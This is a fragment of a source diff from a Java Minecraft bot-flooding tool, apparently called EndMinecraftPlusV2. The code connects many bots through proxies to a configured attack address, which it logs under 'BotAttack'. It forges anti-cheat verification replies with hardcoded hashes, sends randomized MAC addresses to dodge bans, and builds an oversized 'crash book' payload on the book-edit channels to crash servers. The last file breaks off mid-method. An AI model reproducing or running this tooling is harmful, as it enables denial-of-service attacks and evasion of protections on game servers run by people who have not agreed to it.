import org.spacehq.mc.protocol.data.game.values.setting.SkinPart;
|
||||
import org.spacehq.mc.protocol.data.message.Message;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.*;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientChangeHeldItemPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerUpdateHealthPacket;
|
||||
import org.spacehq.opennbt.NBTIO;
|
||||
import org.spacehq.opennbt.tag.builtin.CompoundTag;
|
||||
import org.spacehq.opennbt.tag.builtin.ListTag;
|
||||
import org.spacehq.opennbt.tag.builtin.StringTag;
|
||||
import org.spacehq.opennbt.tag.builtin.Tag;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ServerPluginMessagePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||
Session session = ((Client) client).getSession();
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
case "CatAntiCheat":
|
||||
case "catanticheat:data":
|
||||
if (ConfigUtil.CatAntiCheat) {
|
||||
CatAntiCheat.packetHandle(session, packet.getData(), username);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ServerJoinGamePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerPositionRotationPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ServerChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
Message message = chatPacket.getMessage();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ServerKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerKeepAlivePacket serverKeepAlivePacket = (ServerKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ServerUpdateHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerUpdateHealthPacket serverUpdateHealthPacket = (ServerUpdateHealthPacket) recvPacket;
|
||||
double health = serverUpdateHealthPacket.getHealth();
|
||||
if (health <= 0) {
|
||||
sendRespawnPacket(session);
|
||||
LogUtil.doLog(0, "[" + username + "] " + "假人于服务器中死亡,已重生。", "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleOtherPacket(Object packet) {
|
||||
String packetName = packet.getClass().getSimpleName();
|
||||
|
||||
if (packetName.contains("ServerEntity")
|
||||
|| packetName.contains("ServerPlaySound")
|
||||
|| packetName.contains("ServerUpdateTime")
|
||||
|| packetName.contains("ServerMultiChunkData")
|
||||
|| packetName.contains("ServerUpdateTileEntity")
|
||||
|| packetName.contains("ServerSpawnMob")
|
||||
|| packetName.contains("ServerChunkData")
|
||||
|| packetName.contains("ServerPlayEffect")
|
||||
|| packetName.contains("ServerDestroyEntities")
|
||||
|| packetName.contains("ServerWindowItems")
|
||||
) {
|
||||
return;
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "收到未处理的数据包: " + packetName, "DEBUG");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendChatPacket(Object client, String text) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientChatPacket chatPacket = new ClientChatPacket(text);
|
||||
session.send(chatPacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendTabCompletePacket(Object client, String cmd) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ClientTabCompletePacket clientTabCompletePacket = new ClientTabCompletePacket(cmd);
|
||||
session.send(clientTabCompletePacket);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
|
||||
float yaw = packet.getYaw() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
float pitch = packet.getPitch() + (random ? OtherUtils.getRandomFloat(0.00, 1.00) : 0);
|
||||
sendPositionRotationPacket(session, x, y, z, yaw, pitch);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void sendCrashBookPacket(Object client) {
|
||||
Session session = ((Client) client).getSession();
|
||||
|
||||
try {
|
||||
ItemStack crashBook = getCrashBook();
|
||||
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
|
||||
out.writeShort(crashBook.getId());
|
||||
out.writeByte(crashBook.getAmount());
|
||||
out.writeShort(crashBook.getData());
|
||||
|
||||
NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT());
|
||||
|
||||
byte[] crashData = buf.toByteArray();
|
||||
|
||||
sendClientPluginMessagePacket(session, "MC|BEdit", crashData);
|
||||
sendClientPluginMessagePacket(session, "MC|BSign", crashData);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getMessageFromPacket(Object packet) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) packet;
|
||||
return chatPacket.getMessage();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageClickEvent(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent() != null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMessageText(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return getTextFromJson(msg.toJson());
|
||||
}
|
||||
|
||||
private static String getTextFromJson(JsonElement element) {
|
||||
StringBuilder textBuilder = new StringBuilder();
|
||||
if (element.isJsonObject()) {
|
||||
JsonObject obj = element.getAsJsonObject();
|
||||
|
||||
boolean hasTranslate = obj.has("translate");
|
||||
String translate = hasTranslate ? obj.get("translate").getAsString() : "";
|
||||
if (hasTranslate && !translate.contains("chat.type")) {
|
||||
return translate;
|
||||
}
|
||||
if (obj.has("text")) {
|
||||
textBuilder.append(obj.get("text").getAsString());
|
||||
}
|
||||
if (obj.has("extra")) {
|
||||
for (JsonElement extraElement : obj.getAsJsonArray("extra")) {
|
||||
textBuilder.append(getTextFromJson(extraElement));
|
||||
}
|
||||
}
|
||||
if (obj.has("with")) {
|
||||
// 记录 "with" 数组元素以便之后处理
|
||||
ArrayList<String> withElementsText = new ArrayList<>();
|
||||
for (JsonElement withElement : obj.getAsJsonArray("with")) {
|
||||
withElementsText.add(getTextFromJson(withElement));
|
||||
}
|
||||
// 对 "with" 数组的处理,添加适当的分隔符
|
||||
if (!withElementsText.isEmpty()) {
|
||||
// 添加第一个元素,并包围以方括号
|
||||
textBuilder.append("[").append(withElementsText.get(0)).append("]");
|
||||
// 如果有更多元素,这些应该跟随在后面,并用空格分隔
|
||||
for (int i = 1; i < withElementsText.size(); i++) {
|
||||
textBuilder.append(" ").append(withElementsText.get(i));
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if (element.isJsonArray()) {
|
||||
for (JsonElement arrElement : element.getAsJsonArray()) {
|
||||
textBuilder.append(getTextFromJson(arrElement));
|
||||
}
|
||||
}
|
||||
return textBuilder.toString();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleMessageExtra(cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler packetHandler, Object message, Object client, String username) {
|
||||
Message msg = (Message) message;
|
||||
for (Message extra : msg.getExtra()) {
|
||||
PacketManager.clickVerifiesHandle(packetHandler, client, extra, username);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClickValue(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getStyle().getClickEvent().getValue();
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasMessageExtra(Object message) {
|
||||
Message msg = (Message) message;
|
||||
return msg.getExtra() != null && !msg.getExtra().isEmpty();
|
||||
}
|
||||
|
||||
private void sendClientPluginMessagePacket(Session session, String channel, byte[] data) {
|
||||
ClientPluginMessagePacket clientPluginMessagePacket = new ClientPluginMessagePacket(channel, data);
|
||||
session.send(clientPluginMessagePacket);
|
||||
}
|
||||
|
||||
private void sendClientSettingPacket(Session session, String locale) {
|
||||
ClientSettingsPacket clientSettingsPacket = new ClientSettingsPacket(locale, 8, ChatVisibility.FULL, true, SkinPart.values());
|
||||
session.send(clientSettingsPacket);
|
||||
}
|
||||
|
||||
private void sendClientChangeHeldItemPacket(Session session, int slot) {
|
||||
ClientChangeHeldItemPacket clientChangeHeldItemPacket = new ClientChangeHeldItemPacket(slot);
|
||||
session.send(clientChangeHeldItemPacket);
|
||||
}
|
||||
|
||||
private void sendPositionRotationPacket(Session session, double x, double y, double z, float yaw, float pitch) {
|
||||
ClientPlayerPositionRotationPacket clientPlayerPositionRotationPacket = new ClientPlayerPositionRotationPacket(true, x, y, z, yaw, pitch);
|
||||
session.send(clientPlayerPositionRotationPacket);
|
||||
}
|
||||
|
||||
private void sendClientPlayerMovementPacket(Session session, boolean onGround) {
|
||||
ClientPlayerMovementPacket clientPlayerMovementPacket = new ClientPlayerMovementPacket(onGround);
|
||||
session.send(clientPlayerMovementPacket);
|
||||
}
|
||||
|
||||
private void sendClientKeepAlivePacket(Session session, int pingId) {
|
||||
ClientKeepAlivePacket packet = new ClientKeepAlivePacket(pingId);
|
||||
session.send(packet);
|
||||
}
|
||||
|
||||
private void sendRespawnPacket(Session session) {
|
||||
ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN);
|
||||
session.send(clientRequestPacket);
|
||||
}
|
||||
|
||||
public static ItemStack getCrashBook() {
|
||||
ItemStack crashBook;
|
||||
CompoundTag nbtTag = new CompoundTag("crashBook");
|
||||
List<Tag> pageList = new ArrayList<>();
|
||||
|
||||
// Plain Mode
|
||||
nbtTag.put(new StringTag("author", OtherUtils.getRandomString(20, 20)));
|
||||
nbtTag.put(new StringTag("title", OtherUtils.getRandomString(20, 20)));
|
||||
|
||||
for (int a = 0; a < 35; a++) {
|
||||
pageList.add(new StringTag("", OtherUtils.getRandomString(600, 600)));
|
||||
}
|
||||
|
||||
nbtTag.put(new ListTag("pages", pageList));
|
||||
crashBook = new ItemStack(386, 1, 0, nbtTag);
|
||||
|
||||
return crashBook;
|
||||
}
|
||||
}
|
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MC-1.12.1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,174 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_9_X_1_12_1;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge.MCForge;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import org.spacehq.mc.protocol.MinecraftProtocol;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.event.session.*;
|
||||
import org.spacehq.packetlib.tcp.TcpSessionFactory;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory(proxy));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
new MCForge(client.getSession(), ConfigUtil.ForgeModList).init();
|
||||
}
|
||||
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
Client client = (Client) c;
|
||||
client.getSession().disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
new MCForge(client.getSession(), ConfigUtil.ForgeModList).init();
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
BotManager.failedCount++;
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
|
||||
BotManager.aliveList.remove(client);
|
||||
}
|
||||
});
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [连接建立开始] " + client.getHost() + ":" + client.getPort(), "BotAttack");
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkClientStatus(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().isConnected();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getClientDisconnectMsg(Object client) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().getFlag("disconnectMsg");
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean hasClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
return c.getSession().hasFlag(flag);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientFlag(Object client, String flag) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setFlag(flag, "");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setClientTimeout(Object client, long timeout) {
|
||||
Client c = (Client) client;
|
||||
c.getSession().setReadTimeout(Math.toIntExact(timeout));
|
||||
c.getSession().setWriteTimeout(Math.toIntExact(timeout));
|
||||
}
|
||||
}
|
@ -0,0 +1,349 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_9_X_1_12_1;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AnotherStarAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.ACProtocol.AntiCheat3;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.CatAntiCheat.CatAntiCheat;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.UniverseMethods;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import com.google.gson.JsonElement;
|
||||
import com.google.gson.JsonObject;
|
||||
import org.spacehq.mc.protocol.data.game.ClientRequest;
|
||||
import org.spacehq.mc.protocol.data.game.entity.metadata.ItemStack;
|
||||
import org.spacehq.mc.protocol.data.game.entity.player.Hand;
|
||||
import org.spacehq.mc.protocol.data.game.setting.ChatVisibility;
|
||||
import org.spacehq.mc.protocol.data.game.setting.SkinPart;
|
||||
import org.spacehq.mc.protocol.data.message.Message;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.*;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerChangeHeldItemPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerPositionRotationPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerHealthPacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
|
||||
import org.spacehq.opennbt.NBTIO;
|
||||
import org.spacehq.opennbt.tag.builtin.CompoundTag;
|
||||
import org.spacehq.opennbt.tag.builtin.ListTag;
|
||||
import org.spacehq.opennbt.tag.builtin.StringTag;
|
||||
import org.spacehq.opennbt.tag.builtin.Tag;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler {
|
||||
@Override
|
||||
public boolean checkServerPluginMessagePacket(Object packet) {
|
||||
return packet instanceof ServerPluginMessagePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPluginMessagePacket(Object client, Object recvPacket, String username) {
|
||||
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||
Session session = ((Client) client).getSession();
|
||||
|
||||
switch (packet.getChannel()) {
|
||||
case "AntiCheat3.4.3":
|
||||
AntiCheat3 ac3 = new AntiCheat3();
|
||||
String code = ac3.uncompress(packet.getData());
|
||||
byte[] checkData = ac3.getCheckData("AntiCheat3.jar", code, new String[]{"44f6bc86a41fa0555784c255e3174260"});
|
||||
sendClientPluginMessagePacket(session, "AntiCheat3.4.3", checkData);
|
||||
break;
|
||||
case "anotherstaranticheat":
|
||||
AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
|
||||
String salt = asac.decodeSPacket(packet.getData());
|
||||
byte[] data = asac.encodeCPacket(new String[]{"4863f8708f0c24517bb5d108d45f3e15"}, salt);
|
||||
sendClientPluginMessagePacket(session, "anotherstaranticheat", data);
|
||||
break;
|
||||
case "VexView":
|
||||
if (new String(packet.getData()).equals("GET:Verification")) {
|
||||
sendClientPluginMessagePacket(session, "VexView", "Verification:1.8.10".getBytes());
|
||||
}
|
||||
break;
|
||||
case "MAC|Check":
|
||||
if (ConfigUtil.RandomMAC) {
|
||||
byte[] MACAddress = UniverseMethods.getRandomMAC();
|
||||
LogUtil.doLog(0, "[" + username + "] 已发送随机MACAddress数据。(" + Arrays.toString(MACAddress) + ")", "MACCheck");
|
||||
sendClientPluginMessagePacket(session, packet.getChannel(), MACAddress);
|
||||
}
|
||||
break;
|
||||
case "CatAntiCheat":
|
||||
case "catanticheat:data":
|
||||
if (ConfigUtil.CatAntiCheat) {
|
||||
CatAntiCheat.packetHandle(session, packet.getData(), username);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
// 收到插件消息
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerJoinGamePacket(Object packet) {
|
||||
return packet instanceof ServerJoinGamePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerJoinGamePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
session.setFlag("join", true);
|
||||
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
|
||||
|
||||
sendClientSettingPacket(session, "zh_CN");
|
||||
sendClientChangeHeldItemPacket(session, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerPositionRotationPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerPositionRotationPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerPositionRotationPacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
|
||||
sendPositionRotationPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
|
||||
sendClientPlayerMovementPacket(session, true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerChatPacket(Object packet) {
|
||||
return packet instanceof ServerChatPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerChatPacket(Object client, Object recvPacket, String username) {
|
||||
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
|
||||
Message message = chatPacket.getMessage();
|
||||
if (ConfigUtil.ShowServerMessages && !getMessageText(message).equals("")) {
|
||||
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + getMessageText(message), "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean checkServerKeepAlivePacket(Object packet) {
|
||||
return packet instanceof ServerKeepAlivePacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerKeepAlivePacket(Object client, Object recvPacket, String username) {
|
||||
Session session = ((Client) client).getSession();
|
||||
ServerKeepAlivePacket serverKeepAlivePacket = (ServerKeepAlivePacket) recvPacket;
|
||||
if (ConfigUtil.KeepAlive) {
|
||||
sendClientKeepAlivePacket(session, serverKeepAlivePacket.getPingId());
|
||||
} }
|
||||
|
||||
@Override
|
||||
public boolean checkServerPlayerHealthPacket(Object packet) {
|
||||
return packet instanceof ServerPlayerHealthPacket;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void handleServerPlayerHealthPacket(Object client, Object recvPacket, String username) {
